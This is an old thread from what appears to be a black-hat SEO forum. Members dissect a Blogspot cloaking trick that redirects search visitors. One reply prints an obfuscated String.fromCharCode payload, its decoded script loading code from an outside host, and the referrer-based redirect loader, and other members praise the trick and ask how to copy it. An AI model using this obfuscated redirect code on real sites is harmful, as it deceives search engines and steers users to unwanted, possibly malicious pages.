1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

How was this done?

Discussion in 'Cloaking and Content Generators' started by regems, Sep 18, 2008.

  1. regems

    regems Newbie

    Joined:
    Sep 18, 2008
    Messages:
    3
    Likes Received:
    1
    Hey guys.
    I've been puzzling over how this cloak was done.
    http://chekcredit48e0c8673.blogspot.com/

    It's currently #5 on google for "credit chek" and if you click on those results, you get redirected to another site.

    But if you just search google for site:http://chekcredit48e0c8673.blogspot.com/ or access it directly, you don't get redirected.

    Since it's on blogspot, I assume it can't be any kind of server side method. And I looked at the source and couldn't see anything.

    Admittedly my cloaking knowledge is limited. Anyone care to fill me in on how this was done?
     
    • Thanks Thanks x 1
  2. agj32mrgibbits

    agj32mrgibbits Registered Member

    Joined:
    Mar 1, 2008
    Messages:
    73
    Likes Received:
    50
    Here is the chunk of javascript I found in the source that does the redirect.
    Code:
    document.write(String.fromCharCode(8539+-8479,-3609+3724,5365+-5266,-5831+5945,-3294+3399,-1023+1135,-4048+4164,-7209+7241,-5035+5151,-2429+2550,3946+-3834,-1316+1417,2730+-2669,2192+-2158,-4024+4140,438+-337,4564+-4444,-6501+6617,2866+-2819,-6551+6657,5574+-5477,-3586+3704,8748+-8651,-8068+8183,-3141+3240,2395+-2281,6149+-6044,-5757+5869,-9453+9569,4445+-4411,3852+-3820,9086+-8971,-9165+9279,-784+883,-6746+6807,-2458+2492,8194+-8090,-793+909,334+-218,-6842+6954,6778+-6720,-5720+5767,1843+-1796,-493+608,6473+-6357,7820+-7723,9945+-9829,1036+-921,-8681+8727,2811+-2709,4486+-4389,6893+-6794,9225+-9109,3233+-3121,8826+-8712,-3916+4037,-4372+4418,4974+-4875,328+-217,-3825+3934,-581+628,-5820+5919,-4740+4851,255+-138,3396+-3286,-1485+1601,7798+-7697,1590+-1476,7723+-7628,-1869+1975,4749+-4634,4500+-4454,2411+-2299,-3408+3512,-5994+6106,-1117+1180,-5589+5688,-6049+6110,9920+-9871,-4270+4321,6763+-6725,4405+-4298,-7377+7438,5988+-5937,-2362+2418,-8551+8605,-7928+7982,3266+-3232,6424+-6362,2400+-2282,9441+-9344,-4158+4272,6580+-6548,-5299+5396,6098+-6066,-24+85,3217+-3185,3895+-3861,-8435+8534,939+-842,-7975+8073,6315+-6261,-4562+4610,4436+-4379,-7094+7144,-555+611,-6681+6730,-2683+2782,3397+-3345,-6762+6811,3048+-2997,159+-62,7644+-7547,5672+-5623,-3854+3956,-4719+4821,7121+-7065,-1782+1834,8548+-8446,3544+-3444,-9382+9480,7988+-7886,9387+-9289,7199+-7143,-7311+7412,5484+-5384,-2825+2882,5906+-5806,-622+677,-1259+1311,-3156+3190,1404+-1345,-4945+5005,2283+-2236,-4160+4275,-2039+2138,-8272+8386,-841+946,5279+-5167,5125+-5009,2398+-2336));
    Which decodes to

    Code:
    <script type="text/javascript" src="http://stats.factpry.com/counter_js.php?c=13&k=3866">var a = 
    
    "cab609281c413aa1ff84fdbfb8ed9d74";</script>
    Which loads this

    Code:
    document.writeln('<script language=\'javascript\' src=\'http://stats.factpry.com/counter.php?c=13&k=3866&r=' + escape(document.referrer) + '&l=' + escape(document.location) + '\'></script>');
    Which if the referer and document location is right, it will send the redirect code.
     
    • Thanks Thanks x 3
  3. regems

    regems Newbie

    Joined:
    Sep 18, 2008
    Messages:
    3
    Likes Received:
    1
    That's very interesting, thanks agj32mrgibbits.

    If a browser understands how to decode and interpret the javascript, I'm surprised Google can't. I'd have thought this sort of method would get banned easily.
     
  4. CapMorgan

    CapMorgan Junior Member

    Joined:
    Dec 15, 2007
    Messages:
    147
    Likes Received:
    236
    How did you decode the javascript?
     
  5. agj32mrgibbits

    agj32mrgibbits Registered Member

    Joined:
    Mar 1, 2008
    Messages:
    73
    Likes Received:
    50
    I changed "document.write" to "alert" then copied the message.
     
    • Thanks Thanks x 2
  6. megabump

    megabump Registered Member

    Joined:
    Jul 26, 2008
    Messages:
    70
    Likes Received:
    15
    The Google spider ignores javascript.
     
  7. CapMorgan

    CapMorgan Junior Member

    Joined:
    Dec 15, 2007
    Messages:
    147
    Likes Received:
    236
    agj32mrgibbits can you suggest a good place that explains this in more detail?
     
  8. CapMorgan

    CapMorgan Junior Member

    Joined:
    Dec 15, 2007
    Messages:
    147
    Likes Received:
    236
    I noticed he also gives rank to his other pages by hotlinking his other blogs.
     
  9. areyouserious

    areyouserious Registered Member

    Joined:
    Jun 21, 2008
    Messages:
    80
    Likes Received:
    184
    agj32mrgibbits,

    you just became my hero...at least for today.

    Seriously
     
  10. BozoClown

    BozoClown Junior Member

    Joined:
    Jan 4, 2009
    Messages:
    150
    Likes Received:
    106
    That is brilliant combination of tactics.
     
  11. lazysurfer

    lazysurfer Junior Member

    Joined:
    Apr 9, 2008
    Messages:
    121
    Likes Received:
    124
    Gender:
    Male
    Occupation:
    BlackHat marketer
    I bet he is a member here.:biggthump
     
  12. almir

    almir Power Member

    Joined:
    Jul 11, 2008
    Messages:
    728
    Likes Received:
    229
    Do you guys see different results when searching CREDIT CHEK credit check ?

    Without caps I can't see him on the first page, but I succeed to register a deleted blog that is on his place when searching without caps
     
  13. .::BlackHat::.

    .::BlackHat::. Registered Member

    Joined:
    Dec 8, 2007
    Messages:
    56
    Likes Received:
    5
    It's incredible thing! :)
    Is this possible to be done in PHP..??
    Can somebody to explain how..??
     
  14. Thyphen

    Thyphen Registered Member

    Joined:
    Apr 7, 2008
    Messages:
    59
    Likes Received:
    6
    Could someone explain to me what exactly is going on here?